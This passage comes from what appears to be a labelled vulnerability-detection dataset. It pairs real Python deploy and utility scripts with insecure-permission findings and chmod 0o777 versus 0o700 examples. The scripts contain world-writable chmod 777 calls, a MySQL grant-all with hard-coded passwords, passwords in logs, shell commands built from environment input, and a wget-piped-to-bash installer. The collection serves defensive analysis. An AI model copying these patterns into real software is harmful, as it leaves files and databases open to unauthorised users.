\"tarsstat\", \"tarsproperty\", \"tarsquerystat\", \"tarsqueryproperty\", \"tarslog\", \"tarsauth\"]\nbaseDir = getBaseDir()\ndef do():\n log.infoPrint(\"initDB start ...\")\n initDB()\n log.infoPrint(\"initDB success \")\n log.infoPrint(\"deploy frameServer start ...\")\n deployFrameServer()\n log.infoPrint(\"deploy frameServer success \")\n log.infoPrint(\"deploy web start ... \")\n deployWeb()\n log.infoPrint(\"deploy web success\")\n return\n\ndef getDBDir():\n dbDir = baseDir+\"/framework/sql/\"\n return dbDir\n\ndef deployFrameServer():\n for server in tarsDeployFrameBasicServerList:\n srcDir = \"{}/framework/build/deploy/{}\".format(baseDir,server)\n confDir = \"{}/framework/deploy/{}\".format(baseDir,server)\n dstDir = \"/usr/local/app/tars/{}\".format(server)\n log.infoPrint(\" deploy {} start srcDir is {} , confDir is {} , dstDir is {} \".format(server,srcDir,confDir,dstDir))\n copytree(srcDir,dstDir)\n copytree(confDir,dstDir)\n updateConf(server)\n os.chmod(dstDir+\"/util/start.sh\",stat.S_IXGRP)\n doCmd(dstDir+\"/util/start.sh\".format(server))\n log.infoPrint(\" deploy {} sucess\".format(server))\n\n for server in tarsDeployFrameCommServerList:\n srcDir = \"{}/framework/build/deploy/{}\".format(baseDir,server)\n confDir = \"{}/framework/deploy/{}\".format(baseDir, server)\n dstDir = \"/usr/local/app/tars/{}\".format(server)\n dstBinDir = \"/usr/local/app/tars/{}/bin/\".format(server)\n log.infoPrint(\" deploy {} start srcDir is {} , confDir is {} , dstDir is {} \".format(server, srcDir, confDir, dstDir))\n if not os.path.exists(dstBinDir):\n os.makedirs(dstBinDir)\n shutil.copy(srcDir+\"/\"+server,dstBinDir+\"/\"+server)\n copytree(confDir,dstDir)\n updateConf(server)\n os.chmod(dstDir+\"/util/start.sh\",stat.S_IXGRP)\n doCmd(dstDir+\"/util/start.sh\".format(server))\n return\n\ndef updateConf(server):\n mysqlHost = getCommProperties(\"mysql.host\")\n localIp = getLocalIp()\n replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server,server),\"localip.tars.com\",localIp)\n replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"192.168.2.131\", localIp)\n replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"db.tars.com\", mysqlHost)\n replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"registry.tars.com\", localIp)\n replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"10.120.129.226\", localIp)\n if \"tarsnode\" == server:\n replaceConf(\"/usr/local/app/tars/{}/util/execute.sh\".format(server, server), \"registry.tars.com\", localIp)\n return\n\ndef deployWeb():\n mysqlHost = getCommProperties(\"mysql.host\")\n localIp = getLocalIp()\n result = doCmdIgnoreException(\"nvm --version\")\n if result[\"status\"] != 0:\n log.infoPrint(\"install nvm start...\")\n doCmd(\"wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash \")\n log.infoPrint(\"install nvm success\")\n else:\n log.infoPrint(\"nvm version is {}\".format(result[\"output\"]))\n result = doCmdIgnoreException(\"node --version\")\n if result[\"status\"] != 0:\n log.infoPrint(\"install node start...\")\n doCmd(\" export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile && nvm install v8.11.3\")\n log.infoPrint(\"install node success\")\n else:\n log.infoPrint(\"node version is {}\".format(result[\"output\"]))\n result = doCmdIgnoreException(\"pm2 --version\")\n if result[\"status\"] != 0:\n doCmd(\"export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile && npm install -g pm2 --registry=https://registry.npm.taobao.org\")\n else:\n log.infoPrint(\" pm2 version is {}\".format(result[\"output\"]))\n\n replaceConf(\"/usr/local/app/web/config/tars.conf\", \"registry.tars.com\", localIp)\n replaceConf(\"/usr/local/app/web/config/webConf.js\", \"db.tars.com\", mysqlHost)\n\n doCmd(\"cd /usr/local/app/web;export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile && npm install --registry=https://registry.npm.taobao.org;npm run prd\")\n return\n\ndef initDB():\n dbDir=getDBDir()\n mysqlHost = getCommProperties(\"mysql.host\")\n mysqlPort = getCommProperties(\"mysql.port\")\n mysqlRootPassWord = getCommProperties(\"mysql.root.password\")\n localIp = getLocalIp()\n log.info(\" dbDir is{} , mysqlHost is {} , mysqlPort is {} mysqlRootPassWord is {} ,localIp is {} \".format(dbDir,mysqlHost,mysqlPort,mysqlRootPassWord,localIp))\n doCmd(\"mysql -uroot -p{} -e \\\"grant all on *.* to 'tars'@'%' identified by 'tars2' with grant option;flush privileges;\\\"\".format(mysqlRootPassWord))\n log.info(\" the mysqlHost is {} , mysqlPort is {}, mysqlRootPassWord is {}\".format(mysqlHost,mysqlPort,mysqlRootPassWord))\n\n replaceConfDir(dbDir, \"192.168.2.131\", localIp)\n replaceConfDir(dbDir, \"db.tars.com\", mysqlHost)\n replaceConfDir(dbDir, \"10.120.129.226\", localIp)\n\n\n doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists db_tars;create database db_tars'\")\n doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists tars_stat;create database tars_stat'\")\n doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists tars_property;create database tars_property'\")\n doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists db_tars_web;create database db_tars_web'\")\n\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/db_tars.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars -e 'truncate table t_server_conf;truncate table t_adapter_conf;truncate table t_node_info;truncate table t_registry_info '\")\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsconfig.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarslog.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarspatch.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsproperty.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsqueryproperty.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsquerystat.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsstat.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsnotify.sql\".format(dbDir))\n doCmd(\"mysql -utars -ptars2015 db_tars_web < {}/t_tars_files.sql\".format(dbDir))\n return\n\nif __name__ == '__main__':\n pass", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "f483b4baa4c3a31c630ac322103062cfc46eb04a397ba010f422be83ea8ca95a", "license": {"spdx": ["MIT"], "repo": "VitorSantos1/python-cli-utilities", "path": "lib/python_shell_utilities.py", "repo_head_hexsha": "28a67aa5ccaae9daf8aac783f3ac1828f49840d4", "stack_hexsha": "3d5cda9ead296c203e5e99d71c84637e3c3677b5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 193, "entireCode": "# All functions to improve Python interaction with shells must be placed here.\n#\n# Author: <>\n\nimport subprocess, sys, platform, shutil, stat, errno, re, os, distutils.dir_util, glob, getpass, zipfile, filecmp\n\n###################### SHELL INTERACTION ######################\n\n# Print message before exit\ndef exit_script(message):\n print(message)\n sys.exit()\n\n# Verify if parameter is a string\ndef string_verifier(parameter):\n if type(parameter) is not str:\n exit_script(\"Please insert a string for command shell in order to execute it.\") \n\n# Function to execute commands\ndef execute_command(command, raise_exception=False):\n string_verifier(command)\n\n try: \n subprocess.run(command, shell=True, stderr=subprocess.PIPE)\n except subprocess.CalledProcessError as e:\n if raise_exception:\n raise\n else:\n return e.returncode\n else:\n return 0\n\n# Prompt for user input \ndef user_input(input_message, password_input=False):\n user_input = \"\"\n\n # Check python version and use its own input function\n while user_input == \"\":\n user_input = getpass.getpass(input_message) if password_input else (str(input(input_message)))\n \n return user_input\n\n# Return arguments as a Python array\ndef get_arguments():\n # In this case, sys.argv[0] is the name of the script\n return sys.argv[1:]\n\n# Return arguments as a Python array and detect inconsistencies\ndef parse_arguments(command_usage): \n arguments = get_arguments()\n\n if len(arguments) == 0:\n exit_script(command_usage)\n \n return arguments\n\n# Check if user prompt is an equivalent to \"yes\"\ndef user_prompt_yes(answer=\"\"):\n return True if answer == \"yes\" or answer == \"y\" else False\n\n# Check if user prompt is an equivalent to \"no\"\ndef user_prompt_no(answer=\"\"):\n return True if answer == \"no\" or answer == \"n\" else False\n\n###################### FILE SYSTEM INTERACTION ######################\n\n# Callable function from remove_tree function\ndef fix_permissions_and_retry(func, path, exc_info):\n if not os.access(path, os.W_OK):\n try:\n os.chmod(path, stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH)\n func(path)\n except OSError as e:\n if e.errno == 2:\n print(\"No such file or directory. Script will carry on.\")\n else:\n raise IOError(\"It was not possible to convert permissions in order to edit the file system.\")\n\n# Remove folder with children\ndef remove_tree(path):\n shutil.rmtree(path, onerror=fix_permissions_and_retry)\n\n# Remove file\ndef remove_file(file_path):\n try:\n os.remove(file_path)\n except OSError as e:\n if e.errno == errno.ENOENT:\n print(\"File doesn't exist. Script will carry on.\")\n else:\n raise\n\n# Check if path exists or not. It can be a directory or a file. Wildcards supported.\ndef check_if_path_exists(path):\n return True if glob.glob(path) else False\n\n# Check if entity (file or directory) exists. If not, it will be created. Paths must be absolute\ndef check_entity_and_create(path, type):\n if not check_if_path_exists(path):\n if type == \"directory\":\n os.makedirs(path, mode=0o774)\n elif type == \"file\":\n check_entity_and_create(path, \"directory\")\n open(path, \"w\").close()\n\n# Copy file to destination, making sure all parent directories exist. Paths must be absolute\ndef copy_file(source_path, dest_path):\n check_entity_and_create('dest_path', \"directory\")\n shutil.copy(source_path, dest_path)\n\n# Check if destination file exists. If not, the source file will be copied to destination\ndef check_dest_file_and_copy(source_path, dest_path):\n if not check_if_path_exists(dest_path):\n copy_file(source_path, dest_path)\n\n# Copy files and folders recursively to a destination path. Paths must be absolute\ndef copy_tree_recursively(root_source_path, dest_path):\n if check_if_path_exists(root_source_path):\n check_entity_and_create(dest_path, \"directory\")\n distutils.dir_util.copy_tree(root_source_path, dest_path)\n else:\n print(\"Root directory doesn't exist. Script will carry on.\")\n\n# Get children from directory. They can be all types of children or files or directories exclusively. Wildcards not supported. Paths must be absolute\ndef get_children_from_directory(path, children_type=\"all\"):\n if check_if_path_exists(path) and os.path.isdir(path):\n if children_type == \"directory\":\n return [path + f + \"/\" for f in os.listdir(path) if os.path.isdir(os.path.join(path, f))]\n elif children_type == \"file\":\n return [path + f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))] \n else:\n return [(path + f + \"/\" if os.path.isdir(os.path.join(path, f)) else path + f) for f in os.listdir(path)] \n else:\n exit_script(\"Directory doesn't exist.\")\n\n# Get tree from path provided with wildcards. The wildcard must be used at the end of the path. Paths must be absolute\ndef get_tree_from_wildcard_path(path):\n tree = []\n array_of_directories = glob.glob(path)\n\n for directory in array_of_directories:\n tree.append(get_children_from_directory(directory))\n\n return array_of_directories\n\n# Rename files and directories\ndef rename_path_file_directory(old_name=\"\", new_name=\"\"):\n os.rename(old_name, new_name) if check_if_path_exists(old_name) else None\n\n###################### TEXT MANIPULATION ######################\n\n# Replace text detected in a regex pattern with a new string, given a file path\ndef replace_text_in_files_regex(file_path, pattern, new_string):\n # Read contents from file as a single string\n file_string = read_file_to_string(file_path)\n\n # Use RE package to allow for replacement (also allowing for (multiline) REGEX)\n file_string = re.sub(pattern, new_string, file_string)\n\n # Write contents to file.\n write_string_to_file(file_path, file_string)\n\n# Read contents from file as a single string\ndef read_file_to_string(file_path):\n with open(file_path, \"r\") as opened_file:\n output_string = opened_file.read()\n return output_string\n\n# Concatenate file in destination path with the contents of file in source path\ndef concatenate_text_files(source_path, dest_path):\n with open(source_path) as source_file:\n with open(dest_path, 'w') as dest_file:\n dest_file.write(source_file.read())\n\n# Write string provided as a parameter to a file\ndef write_string_to_file(file_path, string=\"\"):\n with open(file_path, \"w\") as opened_file:\n opened_file.write(string) \n\n# Copy lines matched by pattern from file in source path to file in destination path\ndef copy_line_to_file(source_path, pattern, dest_path):\n with open(source_path) as source_file:\n pattern_detector = re.compile(pattern)\n detected_lines = []\n\n # Import all detected lines to array\n for line in enumerate(source_file):\n if not pattern_detector.match(line[1]) == None:\n detected_lines.append(line[1])\n \n # Create file and write detected lines to file\n check_entity_and_create(dest_path, \"file\")\n os.chmod(dest_path, stat.S_IWRITE)\n with open(dest_path, 'a') as dest_file:\n for line in detected_lines:\n dest_file.write(line)\n\n###################### ZIP/UNZIP FILES ######################\n\n# Zip an array of files into a file provided as a path\ndef create_zip_file_with_files(zip_file_path, entities_array=[], is_recursive=False):\n check_entity_and_create(zip_file_path, \"file\")\n \n with zipfile.ZipFile(zip_file_path, \"w\") as new_zip:\n for entity in entities_array:\n if check_if_path_exists(entity) and os.path.isdir(entity):\n zip_entities_to_zip_file(entity, new_zip, is_recursive)\n else:\n new_zip.write(entity) \n\n# Function that zips files and directories to zip. It can be recursive to child directories\ndef zip_entities_to_zip_file(entity, new_zip, is_recursive=False):\n for dirpath, dirnames, filenames in os.walk(entity):\n new_zip.write(dirpath)\n\n for filename in filenames:\n new_zip.write(os.path.join(dirpath, filename))\n\n if (not dirnames == [] and not dirnames == None) and is_recursive:\n for dirname in dirnames:\n zip_entities_to_zip_file(dirname, new_zip, is_recursive)\n\n# Extract a zip file to a provided directory\ndef extract_zip_content(zip_file_path, dir_to_extract):\n with zipfile.ZipFile(zip_file_path, \"r\") as zip_file:\n zip_file.extractall(dir_to_extract)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 193, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "b14209a2374305e62e34d781f2934ea1ece3c8f38dca60d3a74bb85a4bc4fbf2", "license": {"spdx": ["MIT"], "repo": "Asteven-zn/ApulisInstall", "path": "yaml/init-scripts/setup_npu.py", "repo_head_hexsha": "a34ca7bbd2ce733014772958c7eac4651c173032", "stack_hexsha": "0a137894f7810106cb2152e1863769e27f2e6b4c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 439, "entireCode": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport os\nimport json\nimport time\nimport pdb\nimport platform\nimport string\nimport random\n\n\n# 此脚本与create_script.sh由算法同事\n# 帮忙维护,当代码变更时需更新此版本号\ncode_version=\"1.0\"\n\n\ndef create_hccl_mindspore():\n\n done = 0\n rank_id = 0\n hccl_data = {}\n\n # for test only\n #os.environ['DLWS_WORKER_NUM'] = \"2\"\n #os.environ['DLWS_JOB_ID'] = \"test_npu_device\"\n #os.environ['DLWS_USER_NAME'] = \"bifeng.peng\"\n #\n\n ## 单机任务,用DLWS_PS_NUM=0判断最好\n if \"DLWS_WORKER_NUM\" not in os.environ:\n os.environ['DLWS_WORKER_NUM'] = \"1\"\n else:\n pass\n\n worker_num = int(os.environ['DLWS_WORKER_NUM'])\n job_id = os.environ['DLWS_JOB_ID']\n user_name = os.environ['DLWS_USER_NAME']\n\n # 1)hccl文件和相关脚本都会放到此目录\n # 2)文件和具体的JOB有关, 不同JOB隔离存储\n npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id)\n\n # 以下变量写死\n hccl_data[\"board_id\"] = \"0x0020\"\n hccl_data[\"chip_info\"] = \"910\"\n hccl_data[\"deploy_mode\"] = \"lab\"\n hccl_data[\"group_count\"] = \"1\"\n hccl_data[\"para_plane_nic_location\"] = \"device\"\n hccl_data[\"para_plane_nic_name\"] = [\n \"eth0\",\n \"eth1\",\n \"eth2\",\n \"eth3\",\n \"eth4\",\n \"eth5\",\n \"eth6\",\n \"eth7\"\n ]\n hccl_data[\"para_plane_nic_num\"] = \"8\"\n hccl_data[\"status\"] = \"completed\"\n hccl_data[\"group_list\"] = []\n\n group = {}\n group[\"device_num\"] = str(worker_num * 8)\n group[\"server_num\"] = str(worker_num)\n group[\"group_name\"] = \"test\"\n group[\"instance_count\"] = group[\"device_num\"]\n group[\"instance_list\"] = []\n\n ## 生成npu_idx.info文件\n ## 文件数量和worker个数一致\n while True:\n\n PATH = npu_dir + ('/npu_%d.info' % (done))\n if os.path.isfile(PATH) and os.access(PATH, os.R_OK):\n\n \n with open(PATH, \"r\") as f:\n\n ips = \"\"\n host_ip = \"\"\n\n # 文件中的格式:\n # ip=id1:ip1,id2:ip2\n # host=xxx\n for line in f:\n print(line)\n if \"ip=\" in line:\n _, ips = line.strip().split(\"=\")\n elif \"host=\" in line:\n _, host_ip = line.strip().split(\"=\")\n\n ip_list = ips.split(\",\")\n ip_list = sorted(ip_list)\n\n for ip_elem in ip_list:\n\n # 设备id和ip\n device_id, device_ip = ip_elem.split(\":\")\n\n ## set up group list\n device_item = {} # item of instance list\n device_item[\"devices\"] = [{\n \"device_id\" : device_id,\n \"device_ip\" : device_ip\n }]\n\n device_item[\"rank_id\"] = str(rank_id)\n device_item[\"server_id\"] = str(host_ip)\n\n #pdb.set_trace()\n rank_id = rank_id + 1\n group[\"instance_list\"].append(device_item)\n\n f.close()\n done = done + 1\n else:\n pass\n\n if done == worker_num:\n break\n else:\n pass\n\n time.sleep(1)\n\n group[\"instance_count\"] = group[\"device_num\"] = str(len(group[\"instance_list\"]))\n print(\"succ!\")\n hccl_data[\"group_list\"].append(group)\n\n # dump to json file\n with open(npu_dir + '/hccl_ms.json', 'w') as fp:\n json.dump(hccl_data, fp)\n\n return\n\ndef create_hccl_tensorflow():\n\n done = 0 # worker node to process\n rank_id = 0 # equals to device count\n hccl_data = {}\n\n # for test only\n #os.environ['DLWS_WORKER_NUM'] = \"2\"\n #os.environ['DLWS_JOB_ID'] = \"test_npu_device\"\n #os.environ['DLWS_USER_NAME'] = \"bifeng.peng\"\n #\n\n ## non distributed job\n if \"DLWS_WORKER_NUM\" not in os.environ:\n os.environ['DLWS_WORKER_NUM'] = \"1\"\n else:\n pass\n\n worker_num = int(os.environ['DLWS_WORKER_NUM'])\n job_id = os.environ['DLWS_JOB_ID']\n pod_name = os.environ['POD_NAME']\n user_name = os.environ['DLWS_USER_NAME']\n\n distributing_job= False\n if \"DLWS_NUM_PS\" in os.environ:\n if int(os.environ[\"DLWS_NUM_PS\"]) > 0: \n distributing_job = True\n else:\n pass\n else:\n pass\n \n\n # 1)hccl文件和相关脚本都会放到此目录\n # 2)文件和具体的JOB有关, 不同JOB隔离存储\n npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id)\n\n hccl_data[\"group_count\"] = \"1\"\n hccl_data[\"status\"] = \"completed\"\n hccl_data[\"group_list\"] = []\n\n group = {}\n #group[\"device_count\"] = worker_num * 8\n group[\"instance_count\"] = str(worker_num)\n group[\"group_name\"] = \"test\"\n group[\"instance_list\"] = []\n\n ## 生成npu_idx.info文件\n ## 文件数量和worker个数一致\n while True:\n\n PATH = npu_dir + ('/npu_%d.info' % (done))\n if os.path.isfile(PATH) and os.access(PATH, os.R_OK):\n\n with open(PATH, \"r\") as f:\n\n ips = \"\"\n host_ip = \"\"\n\n # 文件中的格式:\n # ip=id1:ip1,id2:ip2\n # host=xxx\n for line in f:\n print(line)\n if \"ip=\" in line:\n _, ips = line.strip().split(\"=\")\n elif \"host=\" in line:\n _, host_ip = line.strip().split(\"=\")\n\n instance_item = {} # item of instance list\n if distributing_job is True:\n instance_item[\"pod_name\"] = job_id + \"-worker-\" + str(done)\n else:\n instance_item[\"pod_name\"] = pod_name\n\n instance_item[\"server_id\"] = host_ip\n instance_item[\"devices\"] = []\n\n # parse string to get all device ips\n ip_list = ips.split(\",\")\n ip_list = sorted(ip_list)\n\n for ip_elem in ip_list:\n\n # one device\n device_id, device_ip = ip_elem.split(\":\")\n\n ## set up group list\n device_item = {\n \"device_id\" : device_id,\n \"device_ip\" : device_ip\n }\n\n # append to instance list\n rank_id = rank_id + 1\n instance_item[\"devices\"].append(device_item)\n #pdb.set_trace()\n\n group[\"instance_list\"].append(instance_item)\n f.close()\n done = done + 1\n\n else:\n pass\n\n if done == worker_num:\n break\n else:\n pass\n\n time.sleep(1)\n\n group[\"device_count\"] = str(rank_id)\n group[\"instance_count\"] = str(len(group[\"instance_list\"]))\n hccl_data[\"group_list\"].append(group)\n\n print(\"succ!\")\n\n # dump to json file\n with open(npu_dir + '/hccl_tf.json', 'w') as fp:\n json.dump(hccl_data, fp)\n\n return\n\n\n# 从/pod.env导入环境变量\ndef load_env(file_path):\n envs = {}\n\n with open(file_path, \"r\") as f:\n\n lines = f.readlines()\n for line in lines:\n\n line = line.strip().lstrip(\"export\")\n if line is not \"\" and \"=\" in line:\n key_val = line.strip().split(\"=\")\n\n key = key_val[0]\n value = key_val[1]\n envs[key] = value\n\n else:\n pass\n\n f.close()\n\n return envs\n\n# 向/pod.env写入环境变量\n# 先判断是否存在此环境量,如果已存在,则覆盖\ndef add_env(path, envs):\n\n # 覆盖相同key数据,文件已有的key保持不变\n envs_orig = load_env(path)\n for k, v in envs.items():\n envs_orig[k] = v\n\n with open(path, \"w\") as f:\n for k, v in envs_orig.items():\n f.write(\"export %s=%s\\n\" % (k, v))\n \n f.close()\n\n return\n\n\ndef get_os_flag():\n\n osflag=\"x86_64\"\n\n if platform.machine() == \"aarch64\":\n osflag = \"arm64\"\n else:\n pass\n\n return osflag\n\n# gnu安装目录中的架构和算法组件的不一样\n# 单独处理\ndef get_gnu_arch_flag():\n\n osflag=\"x86_64\"\n\n if platform.machine() == \"aarch64\":\n osflag = \"aarch64\"\n else:\n pass\n\n return osflag\n\n\ndef get_random_num(length):\n return ''.join(random.choice(string.digits) for _ in range(length))\n\n\n# 用于将环境变量更新 写入指定用户的shell加载文件\ndef set_bashrc(username):\n\n path = \"\"\n if username == \"root\":\n path = \"/root/.bashrc\"\n else:\n path = \"/home/\" + username + \"/.bashrc\"\n\n\n with open(path, \"a\") as f:\n\n cmd = '''\n if [ -f \"/pod.env\" ]; then\n . /pod.env\n fi\n '''\n\n f.write(cmd + \"\\n\")\n f.close()\n\n return\n\n\n# 准备mindspore环境\n# 1) 预备环境变量,并写入/pod.env\n# 2) 创建算法需要的训练shell脚本\n# 3) 创建算法需要的hccl文件\ndef handle_mindspore():\n\n path = \"/pod.env\"\n envs = load_env(path) # 导入平台加载过程中已创建的环境变量\n envs_to_add= {}\n envs_to_add[\"DEVICE_ID\"] = \"0\"\n\n # 解析GPU/NPU设备ID\n if \"VISIBLE_IDS\" in envs:\n envs[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"].replace(\"\\\\\",\"\")\n envs_to_add[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"] \n else:\n pass\n\n\n # 解析NPU Device ID\n if \"NPU_IPS\" in envs:\n envs[\"NPU_IPS\"] = envs[\"NPU_IPS\"].replace(\"\\\\\",\"\")\n envs_to_add[\"NPU_IPS\"] = envs[\"NPU_IPS\"] \n else:\n pass\n\n ## 将/pod.env已有的环境变量\n ## 与os当前具有的环境变量合并, 放入envs\n for k, v in os.environ.items():\n if k not in envs:\n envs[k] = v\n else:\n pass\n\n ## 不需要解析device id\n\n ## 设置随机参数, 算法要求\n envs[\"RANDOM\"] = get_random_num(6)\n envs[\"osflag\"] = get_os_flag()\n envs[\"gnu_arch\"] = get_gnu_arch_flag()\n\n # mindspore环境变量模板\n mindspore_envs = [\n \"PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}\",\n \"LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH\",\n \"TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe\",\n \"PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin\",\n \"ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp\",\n \"LLVM_CONFIG=/home/clang+llvm/bin/llvm-config\",\n \"SOC_VERSION=Ascend910\",\n \"POD_NAME=${DLWS_JOB_ID}\",\n \"JOB_ID=${RANDOM}\",\n \"RANK_SIZE=1\",\n \"ASCEND_GLOBAL_LOG_LEVEL=3\",\n \"ASCEND_GLOBAL_EVENT_ENABLE=0\"\n ]\n\n # 模板渲染\n for item in mindspore_envs:\n\n tpl = string.Template(item)\n new_item = tpl.safe_substitute(envs)\n\n if \"=\" in new_item:\n key_val = new_item.strip().split(\"=\")\n k = key_val[0]\n v = key_val[1]\n envs_to_add[k] = v\n\n else:\n pass\n\n # 1) 更新/pod.env, 创建环境变量\n add_env(path, envs_to_add)\n\n # 2) 生成shell训练脚本\n pod_cmd = os.environ[\"DLWS_LAUNCH_CMD\"]\n npu_info_dir = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/train.sh\"\n\n cmd = 'python /pod/scripts/create_script.py --type mindspore --command \"%s\" --out %s'% (pod_cmd, npu_info_dir)\n os.system(cmd)\n os.system(\"chmod 777 \" + npu_info_dir)\n\n # 将环境变量更新写入 root\n set_bashrc(\"root\")\n\n ## 3) 生成hccl_tf.json\n if need_create_hccl() is True:\n create_hccl_mindspore()\n else:\n pass\n\n # 4) 分布式训练任务,环境配置同步\n if is_distributed_job() is True and is_ps_pod() is True:\n notify()\n\n elif is_distributed_job() is True and is_worker_pod() is True:\n wait()\n\n else:\n pass\n\n return\n\n\n# 准备tensorflow环境\n# 1) 预备环境变量,并写入/pod.env\n# 2) 创建算法需要的训练shell脚本\n# 3) 创建算法需要的hccl文件\ndef handle_tensorflow():\n\n # 1) 预备环境变量,并写入/pod.env\n path = \"/pod.env\"\n envs = load_env(path) # 导入平台加载过程中已创建的环境变量\n envs_to_add= {}\n\n # 解析GPU/NPU设备ID\n if \"VISIBLE_IDS\" in envs:\n envs[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"].replace(\"\\\\\",\"\")\n envs_to_add[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"] \n else:\n pass\n\n if \"NPU_IPS\" in envs:\n envs[\"NPU_IPS\"] = 